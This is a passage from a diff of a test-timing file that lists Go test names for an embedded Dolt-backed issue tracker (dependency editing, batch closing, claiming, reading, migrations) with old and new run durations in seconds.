"TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp": 3.79, - "TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe": 1.77, - "TestEmbeddedDependencyEditorSnapshotsTheRequest": 1.19, - "TestEmbeddedDependencyEditorValidationRefusalsWriteNothing": 1.01, - "TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove": 3.61, - "TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn": 3.14, - "TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers": 25.82, + "TestDualWriteContract": 1.46, + "TestDualWriteContractFlagOff": 0.46, + "TestDualWriteFixtureKitIsWired": 0.21, + "TestEdgeReaderContract": 6.2, + "TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing": 12.17, + "TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory": 0.89, + "TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes": 10.96, + "TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure": 11.11, + "TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed": 1.48, + "TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed": 0.52, + "TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty": 6.01, + "TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch": 13.75, + "TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest": 5.79, + "TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex": 12.23, + "TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp": 6.46, + "TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy": 9.44, + "TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess": 3.06, + "TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape": 12.34, + "TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex": 12.61, + "TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit": 13.57, + "TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded": 6.56, + "TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing": 11.7, + "TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed": 13.28, + "TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim": 1.27, + "TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges": 1.24, + "TestEmbeddedBlockedRecheckFailureKeepsTheWrite": 11.59, + "TestEmbeddedBlockedRecheckRecordsUnblockingWrites": 14.75, + "TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded": 12.69, + "TestEmbeddedCheckedWrappersRouteTheirPreconditions": 3.17, + "TestEmbeddedClaimIssueWrapperClaimsTheWispPlane": 0.79, + "TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne": 1.13, + "TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow": 0.8, + "TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone": 1.36, + "TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting": 0.72, + "TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting": 0.92, + "TestEmbeddedClaimerRefusalMessagesCarryTheirFragments": 1.02, + "TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt": 0.82, + "TestEmbeddedClaimerRefusesAWispIDAsNotFound": 0.58, + "TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState": 0.64, + "TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween": 1.11, + "TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder": 1.42, + "TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds": 0.69, + "TestEmbeddedCommitToleratesNothingToCommit": 0.53, + "TestEmbeddedConfigCommitStagesConfig": 0.33, + "TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded": 8.79, + "TestEmbeddedDepRekeyConvergesRenameChain": 8.79, + "TestEmbeddedDepRekeyMergesFreshDuplicateEdges": 15.36, + "TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies": 7.66, + "TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge": 8.19, + "TestEmbeddedDependencyEditorAcceptsADiamond": 3.03, + "TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget": 0.6, + "TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants": 1.26, + "TestEmbeddedDependencyEditorAcceptsAnExternalTarget": 0.59, + "TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes": 2.3, + "TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb": 1.9, + "TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder": 1.85, + "TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges": 2.17, + "TestEmbeddedDependencyEditorAttributesItsEventsToTheActor": 1.82, + "TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate": 4.26, + "TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType": 1.91, + "TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes": 4.53, + "TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes": 1.35, + "TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes": 1.11, + "TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest": 0.69, + "TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest": 1.0, + "TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest": 2.4, + "TestEmbeddedDependencyEditorRefusalWritesNothing": 1.38, + "TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop": 5.9, + "TestEmbeddedDependencyEditorRefusesAGhostSource": 0.66, + "TestEmbeddedDependencyEditorRefusesAMissingLocalTarget": 1.15, + "TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle": 2.52, + "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy": 2.06, + "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy": 1.78, + "TestEmbeddedDependencyEditorRefusesCrossPlaneCycle": 0.98, + "TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped": 0.49, + "TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked": 2.53, + "TestEmbeddedDependencyEditorRemoveIsIdempotent": 2.13, + "TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants": 4.83, + "TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge": 1.19, + "TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse": 1.57, + "TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge": 0.92, + "TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane": 0.78, + "TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane": 1.61, + "TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent": 1.23, + "TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion": 1.36, + "TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion": 1.6, + "TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp": 2.17, + "TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe": 0.98, + "TestEmbeddedDependencyEditorSnapshotsTheRequest": 0.73, + "TestEmbeddedDependencyEditorValidationRefusalsWriteNothing": 0.72, + "TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove": 2.29, + "TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn": 1.89, + "TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers": 15.34, "TestEmbeddedDoltStoreIssueLifecycleBuildsOperations": 0.0, "TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore": 0.0, - "TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion": 5.86, - "TestEmbeddedGetMergeBlockersOnAQuietStore": 0.52, - "TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches": 2.24, - "TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones": 12.11, - "TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace": 15.91, - "TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables": 13.02, - "TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape": 16.07, - "TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape": 31.85, - "TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone": 4.09, - "TestEmbeddedIssueOperationsCloseAndReopenAWisp": 1.72, - "TestEmbeddedIssueOperationsCreateAggregatesRelations": 2.22, - "TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp": 2.84, - "TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies": 3.31, - "TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure": 3.64, - "TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables": 2.25, - "TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps": 4.22, - "TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID": 5.14, - "TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction": 4.32, - "TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults": 5.07, - "TestEmbeddedIssueOperationsRequestValuesAreNotMutated": 2.9, - "TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged": 15.17, - "TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix": 2.6, - "TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState": 4.89, - "TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses": 2.93, - "TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim": 1.03, - "TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose": 17.14, - "TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent": 2.85, - "TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel": 0.73, - "TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps": 2.44, - "TestEmbeddedIssueOperationsUpdateLabelPatchOrdering": 3.02, - "TestEmbeddedIssueOperationsUpdateLabelPatchValueRules": 2.64, - "TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates": 2.62, - "TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel": 0.76, - "TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure": 5.78, - "TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": 1.5, - "TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary": 2.34, - "TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": 1.77, - "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender": 7.63, - "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers": 6.92, - "TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField": 1.74, - "TestEmbeddedLenientOpenWarning_DataBehind": 73.08, - "TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance": 17.96, - "TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge": 0.76, - "TestEmbeddedMergeAndSettleFKCascadeRepair": 2.52, - "TestEmbeddedMergeAndSettleMemoryConfigConflict": 0.68, - "TestEmbeddedMergeAndSettleMetadataConflict": 0.74, - "TestEmbeddedMergeAndSettleRefusesUnknownTable": 0.91, - "TestEmbeddedMergeAndSettleReportsOperatorConflicts": 1.14, - "TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict": 0.82, - "TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566": 31.96, - "TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690": 15.34, - "TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566": 15.45, - "TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566": 15.77, - "TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain": 15.59, - "TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext": 20.01, - "TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation": 9.28, - "TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints": 10.02, - "TestEmbeddedMigration0058HealsAlreadyAffectedDatabase": 10.23, - "TestEmbeddedMigration0062FlipsEventsToIgnoredPlane": 8.38, - "TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke": 17.42, - "TestEmbeddedOpenForReadOnlyCommand_LenientGate": 18.99, - "TestEmbeddedOpenForRemoteSync_DataBehind": 35.97, - "TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal": 18.37, + "TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion": 3.83, + "TestEmbeddedGetMergeBlockersOnAQuietStore": 0.3, + "TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches": 2.06, + "TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones": 8.68, + "TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace": 9.18, + "TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables": 6.47, + "TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape": 7.57, + "TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape": 29.07, + "TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone": 2.19, + "TestEmbeddedIssueOperationsCloseAndReopenAWisp": 1.33, + "TestEmbeddedIssueOperationsCreateAggregatesRelations": 1.42, + "TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp": 1.34, + "TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies": 1.56, + "TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure": 2.22, + "TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables": 1.16, + "TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps": 1.73, + "TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID": 3.79, + "TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction": 3.06, + "TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults": 3.54, + "TestEmbeddedIssueOperationsRequestValuesAreNotMutated": 2.19, + "TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged": 9.04, + "TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix": 2.15, + "TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState": 3.17, + "TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses": 2.12, + "TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim": 0.65, + "TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose": 9.43, + "TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent": 1.36, + "TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel": 0.52, + "TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps": 0.98, + "TestEmbeddedIssueOperationsUpdateLabelPatchOrdering": 1.06, + "TestEmbeddedIssueOperationsUpdateLabelPatchValueRules": 1.24, + "TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates": 1.93, + "TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel": 0.65, + "TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure": 6.98, + "TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": 0.77, + "TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary": 1.62, + "TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": 1.03, + "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender": 5.16, + "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers": 3.93, + "TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField": 1.6, + "TestEmbeddedLenientOpenWarning_DataBehind": 55.67, + "TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance": 10.91, + "TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge": 0.45, + "TestEmbeddedMergeAndSettleFKCascadeRepair": 1.89, + "TestEmbeddedMergeAndSettleMemoryConfigConflict": 0.47, + "TestEmbeddedMergeAndSettleMetadataConflict": 0.45, + "TestEmbeddedMergeAndSettleRefusesUnknownTable": 0.8, + "TestEmbeddedMergeAndSettleReportsOperatorConflicts": 0.69, + "TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict": 0.49, + "TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers": 14.45, + "TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566": 18.94, + "TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690": 13.55, + "TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566": 7.62, + "TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566": 8.24, + "TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain": 10.21, + "TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext": 10.7, + "TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation": 6.17, + "TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints": 7.11, + "TestEmbeddedMigration0058HealsAlreadyAffectedDatabase": 6.63, + "TestEmbeddedMigration0062FlipsEventsToIgnoredPlane": 5.08, + "TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke": 11.27, + "TestEmbeddedOpenForReadOnlyCommand_LenientGate": 10.66, + "TestEmbeddedOpenForRemoteSync_DataBehind": 21.05, + "TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal": 10.86, "TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites": 0.0, - "TestEmbeddedOpenReadOnly_SkipsGateAndMigrations": 18.77, - "TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape": 57.06, - "TestEmbeddedReaderDoesNotMutateTheCallerRequest": 0.91, - "TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows": 1.84, - "TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue": 1.46, - "TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay": 0.48, - "TestEmbeddedReaderGetOptionalRowListsAreOffByDefault": 2.13, - "TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes": 1.81, - "TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse": 2.8, - "TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge": 5.14, - "TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides": 7.58, - "TestEmbeddedReaderListEmptyPageIsWellFormed": 0.79, - "TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder": 6.4, - "TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates": 3.76, - "TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder": 1.56, - "TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing": 4.24, - "TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress": 2.66, - "TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset": 4.12, - "TestEmbeddedReaderListMaxRowsIsHonored": 2.77, - "TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch": 1.84, - "TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn": 2.03, - "TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing": 4.86, - "TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet": 2.64, - "TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters": 2.71, - "TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry": 2.87, - "TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary": 1.04, - "TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse": 2.97, - "TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet": 1.89, - "TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt": 2.31, - "TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage": 3.16, - "TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse": 1.62, - "TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType": 1.92, - "TestEmbeddedReaderReadyDeferredAndEphemeralGates": 1.87, - "TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary": 5.32, - "TestEmbeddedReaderReadyLimitBoundary": 1.97, - "TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded": 6.4, - "TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix": 71.65, - "TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants": 3.93, - "TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions": 3.2, - "TestEmbeddedReaderReadySortPoliciesOrderTheSameRows": 1.64, - "TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists": 1.82, - "TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits": 1.62, - "TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState": 2.4, - "TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest": 0.64, - "TestEmbeddedReadyClaimerEmptyFrontIsNormal": 1.2, - "TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven": 5.45, - "TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities": 4.27, - "TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne": 2.09, - "TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet": 1.15, - "TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin": 1.45, - "TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor": 0.89, - "TestEmbeddedReadyClaimerSkipsIneligibleFrontRows": 1.83, - "TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped": 0.72, - "TestEmbeddedRecomputeAllBlockedWiring": 1.9, - "TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection": 2.24, - "TestEmbeddedRelationsAnswersInThePinnedOrder": 2.28, - "TestEmbeddedRelationsDirectionSelectsTheInverseGraph": 1.71, - "TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary": 2.03, - "TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer": 1.81, - "TestEmbeddedRelationsLeavesTheCallersRequestAlone": 1.41, - "TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether": 2.73, - "TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength": 0.59, - "TestEmbeddedRelationsRefusesAnUnusableTypeFilter": 0.54, - "TestEmbeddedRelationsRefusesTheZeroDirection": 0.59, - "TestEmbeddedRelationsResolvesAWispAnchor": 1.56, - "TestEmbeddedRelationsResolvesTheAnchorIDExactly": 1.45, - "TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue": 0.72, - "TestEmbeddedRemoteMigrateGate_BlocksReopen": 18.03, - "TestEmbeddedRenameKeepsDependencyIDsDeterministic": 13.78, - "TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing": 1.36, - "TestEmbeddedReopenIssueCategorySemantics": 5.51, - "TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit": 0.81, - "TestEmbeddedRoleFixtureKitHooksAreUsable": 1.85, + "TestEmbeddedOpenReadOnly_SkipsGateAndMigrations": 12.74, + "TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape": 36.7, + "TestEmbeddedReaderDoesNotMutateTheCallerRequest": 0.57, + "TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows": 1.08, + "TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue": 1.0, + "TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay": 0.32, + "TestEmbeddedReaderGetOptionalRowListsAreOffByDefault": 1.44, + "TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes": 1.46, + "TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse": 1.95, + "TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge": 3.36, + "TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides": 3.68, + "TestEmbeddedReaderListEmptyPageIsWellFormed": 0.46, + "TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder": 3.81, + "TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates": 2.31, + "TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder": 0.92, + "TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing": 3.0, + "TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress": 1.82, + "TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset": 2.54, + "TestEmbeddedReaderListMaxRowsIsHonored": 1.65, + "TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch": 2.14, + "TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn": 1.26, + "TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing": 2.44, + "TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet": 1.31, + "TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters": 1.83, + "TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry": 1.79, + "TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary": 0.7, + "TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse": 2.25, + "TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet": 1.23, + "TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt": 1.58, + "TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage": 2.27, + "TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse": 1.09, + "TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType": 0.95, + "TestEmbeddedReaderReadyDeferredAndEphemeralGates": 1.2, + "TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary": 2.49, + "TestEmbeddedReaderReadyLimitBoundary": 1.18, + "TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded": 4.48, + "TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix": 44.08, + "TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants": 3.71, + "TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions": 1.77, + "TestEmbeddedReaderReadySortPoliciesOrderTheSameRows": 0.53, + "TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists": 1.05, + "TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits": 0.95, + "TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState": 1.57, + "TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest": 0.34, + "TestEmbeddedReadyClaimerEmptyFrontIsNormal": 0.72, + "TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven": 3.13, + "TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities": 3.83, + "TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne": 1.87, + "TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet": 0.73, + "TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin": 0.78, + "TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor": 0.46, + "TestEmbeddedReadyClaimerSkipsIneligibleFrontRows": 1.04, + "TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped": 5.52, + "TestEmbeddedRecomputeAllBlockedWiring": 1.79, + "TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection": 1.54, + "TestEmbeddedRelationsAnswersInThePinnedOrder": 1.21, + "TestEmbeddedRelationsDirectionSelectsTheInverseGraph": 1.0, + "TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary": 0.8, + "TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer": 1.16, + "TestEmbeddedRelationsLeavesTheCallersRequestAlone": 0.81, + "TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether": 1.47, + 